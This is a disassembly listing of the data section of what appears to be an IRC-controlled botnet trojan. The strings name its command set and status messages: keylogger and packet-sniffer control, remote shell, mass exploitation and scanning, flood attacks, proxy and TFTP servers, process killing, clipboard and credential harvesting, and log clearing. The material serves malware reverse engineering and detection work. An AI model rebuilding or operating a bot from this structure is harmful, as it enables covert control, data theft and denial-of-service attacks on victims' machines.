29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_435804 db 2 ; DATA XREF: sub_40CE55:loc_40EBA2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_435844 db 2 ; DATA XREF: sub_40CE55+1D43o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CE55+1CE9o align 10h unk_4358A0 db 2 ; DATA XREF: sub_40CE55:loc_40EB34o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_4358DC db 2 ; DATA XREF: sub_40CE55+1CD5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40CE55+1CB2o ; sub_40CE55+1D20o unk_43592C db 2 ; DATA XREF: sub_40CE55+1CA7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_43597C db 2 ; DATA XREF: sub_40CE55+1C38o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_4359C0 db 2 ; DATA XREF: sub_40CE55+1BD4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40CE55+1BB4o ; sub_40CE55+1CFEo align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40CE55+1B9Fo align 10h aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CE55+1B88o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CE55+1B71o align 4 aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CE55+1B5Ao align 10h aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CE55+1B43o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CE55+1B15o ; sub_40CE55+1B2Co align 4 aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CE55+1AFEo align 4 aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CE55+1AE7o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CE55+1AD0o align 10h aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CE55+1AB9o align 10h aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CE55+1AA2o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CE55+1A8Bo aBox_del db 'box.del',0 ; DATA XREF: sub_40CE55+1A74o aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CE55+1A5Do align 4 aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CE55+1A46o align 10h aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CE55+1A2Fo align 10h aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CE55+1A18o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CE55+19EAo align 4 aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CE55+19D3o aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CE55+19BCo align 4 aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CE55+19A5o align 4 aBox_o db 'box.o',0 ; DATA XREF: sub_40CE55+198Eo align 4 aBox_open db 'box.open',0 ; DATA XREF: sub_40CE55+1977o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CE55+1960o align 10h aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CE55+1949o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CE55+1932o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CE55+191Bo align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40CE55+1904o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CE55+18EDo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CE55+18D6o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CE55+18BFo align 4 aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CE55+18A8o align 10h aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CE55+1891o aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CE55+187Ao align 10h aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CE55+1863o align 4 aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CE55+184Co align 4 aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CE55+1835o align 10h aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CE55+181Eo align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CE55+1807o align 4 aVall db 'vall',0 ; DATA XREF: sub_40CE55+17E1o align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo align 10h aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CE55+17B7o align 10h aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CE55+17A2o align 10h aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CE55+178Do align 10h aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CE55+1778o aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CE55+1763o align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CE55+174Eo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CE55+1739o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CE55+1724o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CE55+170Fo align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CE55+16FAo align 4 aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CE55+16E5o align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CE55+16D0o dword_435C68 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+16BFo dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40CE55+168Bo ; sub_415050+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40CE55+167Eo aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CE55+165Co align 4 aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CE55+1643o aCmd db '[CMD]',0 ; DATA XREF: sub_40CE55+1638o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CE55+1633o align 4 aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CE55+161Ao align 4 aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CE55+1605o align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CE55+15F0o aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CE55+15DBo aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CE55+15C6o align 4 aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CE55+15B1o aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CE55+159Co align 4 aBox_up db 'box.up',0 ; DATA XREF: sub_40CE55+1587o align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CE55+1572o align 4 aBox_key db 'box.key',0 ; DATA XREF: sub_40CE55+155Do aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CE55+1548o aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CE55+1533o align 4 aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CE55+151Eo align 10h aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CE55+1509o aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CE55+14F4o align 4 aBox_si db 'box.si',0 ; DATA XREF: sub_40CE55+14DFo align 4 aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CE55+14CAo aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CE55+14B5o align 10h aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CE55+14A0o aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CE55+148Bo align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CE55+1476o align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CE55+1461o align 10h aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CE55+144Co aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CE55+1437o align 10h aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CE55+1422o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CE55+140Do align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CE55+13F8o align 4 dword_435E08 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+13C4o dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 10h dword_435E40 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+13BDo dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CE55+13A6o align 4 aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CE55+1391o align 4 aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CE55+137Co align 4 aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CE55+1367o align 4 aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CE55+1352o align 10h aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CE55+133Do align 4 aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CE55+1328o align 4 aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CE55+1313o aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CE55+12FEo aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CE55+12E9o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CE55+12D4o align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CE55+12BFo aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CE55+12AAo align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CE55+129Fo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40CE55+129Ao align 10h aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CE55+1281o align 4 dword_435F1C dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CE55+1271o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CE55+1258o align 4 dword_435F44 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: sub_40CE55+1248o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40CE55+122Fo align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CE55+121Ao align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CE55+1205o align 4 aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CE55+11F0o align 10h aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo align 4 dword_435FA4 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CE55+11B2o dword_435FC0 dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FCC dd 676E6950h, 6F6C6620h, 646Fhdword_435FD8 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FE8 dd 64027502h, 2E1F701Fh, 2Ehdword_435FF4 dd 20504455h, 6F6F6C66h, 64hdword_436000 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_436010 dd 79027302h, 2E1F6E1Fh, 2Ehdword_43601C dd 206E7953h, 6F6F6C66h, 64hdword_436028 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436038 dd 64026402h, 1F731F6Fh, 2E2Ehdword_436044 dd 536F4444h, 6F6C6620h, 646Fhdword_436050 dd 736F6464h, 66666F2Eh, 0dword_43605C dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_43606C dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o dword_436090 dd 6F026C02h, 2E1F671Fh, 2Ehdword_43609C dd 20676F4Ch, 7473696Ch, 0dword_4360A8 dd 2E676F6Ch, 66666Fhdword_4360B0 dd 74026802h, 641F7074h, 2E2E1Fhdword_4360BC dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360CC dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o align 10h dword_4360F0 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: sub_40CE55+1049o ; sub_40CE55+1089o ... align 4 aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o align 4 aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CE55+101Bo align 4 aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o align 10h aLd_off db 'ld.off',0 ; DATA XREF: sub_40CE55+FF1o align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CE55+FDCo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40CE55+FC7o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CE55+FB2o aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CE55+F9Do aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CE55+F88o aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CE55+F73o align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CE55+F5Eo align 4 aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CE55+F49o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CE55+F34o aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CE55+F1Fo align 10h aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CE55+F07o a63 db '63',0 ; DATA XREF: sub_40CE55+DE0o align 10h asc_4361C0: ; DATA XREF: sub_40CE55+DB8o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40CE55+D7Bo align 4 aServer_2 db '$server',0 ; DATA XREF: sub_40CE55+D70o aRndnick db '$rndnick',0 ; DATA XREF: sub_40CE55+D5Fo align 10h aChan db '$chan',0 ; DATA XREF: sub_40CE55+D43o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40CE55+D32o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40CE55+D20o aD_0 db '$%d',0 ; DATA XREF: sub_40CE55+CB2o aD_1 db '$%d-',0 ; DATA XREF: sub_40CE55+BF7o align 10h aHi_0 db 'hi',0 ; DATA XREF: sub_40CE55+B1Fo align 4 aNewshit db 'newshit',0 ; DATA XREF: sub_40CE55+B07o dword_43620C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AD5o dd 2029206Ch, 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_436250 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AC7o dd 2029206Ch, 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_436294 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AB9o dd 2029206Ch, 2BBBB02h aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0 dword_4362DC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+A4Ao dd 2029206Ch, 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_40CE55+9B3o align 4 dword_436318 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+996o dd 2029206Ch, 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_43636C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+978o ; sub_40CE55+4733o dd 2029206Ch, 2BBBB02h aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0 dword_4363B8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40CE55+967o dd 0A0Dh dword_4363D0 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo align 4 dword_4363F4 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40CE55+8D3o dd 0D017325h, 0Ah dword_436410 dd 52455601h, 4E4F4953h, 1dword_43641C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+788o dd 2029206Ch, 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40CE55+6E5o align 4 dword_436464 dd 43434401h, 0 dword_43646C dd 323333h ; sub_40CE55+B41o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_40CE55+62Co ; sub_412D4C+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CE55+620o ; sub_412D4C+16o dword_436480 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5CFo dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4364B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A8o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40CE55+571o aPart db 'PART',0 ; DATA XREF: sub_40CE55+523o ; sub_40CE55+5ECo align 4 aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CE55+4FBo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40CE55+3CDo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo ; sub_40CE55+610o dword_436514 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+355o ; sub_40CE55+5A5Do ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40CE55+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+28Do ; sub_40CE55+4AEBo ... align 4 a433 db '433',0 ; DATA XREF: sub_40CE55+265o a302 db '302',0 ; DATA XREF: sub_40CE55+22Ao aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o ; sub_40CE55+3B4o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_40CE55+1A9o align 4 asc_436588 db ' :',0 ; DATA XREF: sub_40CE55+86o ; sub_40CE55:loc_40D9EEo align 4 dword_43658C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4365D8 dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_4365F4: ; DATA XREF: sub_412B98+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_436608 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_412B98+13Fo dword_43661C dd 25207325h, 253A2073h, 0A0D73hoff_436628 dd offset aAdd ; DATA XREF: sub_412DE7+6Dr ; sub_4131CB+50r ... ; "Add" off_43662C dd offset aAdded ; DATA XREF: sub_412DE7+2Dr ; sub_4131CB+82r ... ; "Added" dword_436630 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" dd 0 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43669Ch, 436694h, 2, 436688h, 43667Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0043665Co aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00436658o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:00436650o aStart_0 db 'Start',0 ; DATA XREF: .nsp0:0043664Co align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:00436644o align 4 aList_0 db 'List',0 ; DATA XREF: .nsp0:00436640o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00436638o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:00436634o align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:off_43662Co align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:off_436628o dword_4366F0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_436728 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_436764 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_412F10:loc_41301Ao db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_412F10:loc_413013o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_412F10:loc_41300Co db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_412F10:loc_413005o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_412F10:loc_412FF7o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_412F10:loc_412FF0o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_412F10:loc_412FE9o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_412F10:loc_412FBEo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_412F10:loc_412FB7o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_412F10:loc_412FB0o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_412F10:loc_412FA9o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_412F10:loc_412F7Eo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_412F10:loc_412F74o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_412F10:loc_412F6Ao aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_412F10:loc_412F56o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412F10:loc_412F4Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41308E+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41308E:loc_41315Ao aStarting db ' Starting',0 ; DATA XREF: sub_41308E:loc_413153o aStoping db ' Stoping',0 ; DATA XREF: sub_41308E:loc_41314Co aRunning_0 db ' Running',0 ; DATA XREF: sub_41308E:loc_413145o aContinuing db ' Continuing',0 ; DATA XREF: sub_41308E:loc_41313Eo aPausing db ' Pausing',0 ; DATA XREF: sub_41308E:loc_413137o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41308E:loc_413130o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_41308E+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41308E+25o align 4 dword_436CCC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_436D04 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_436D34 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4133C0+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_4133C0+B5o dword_436D94 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4133C0+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4133C0+26o align 4 dword_436E08 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 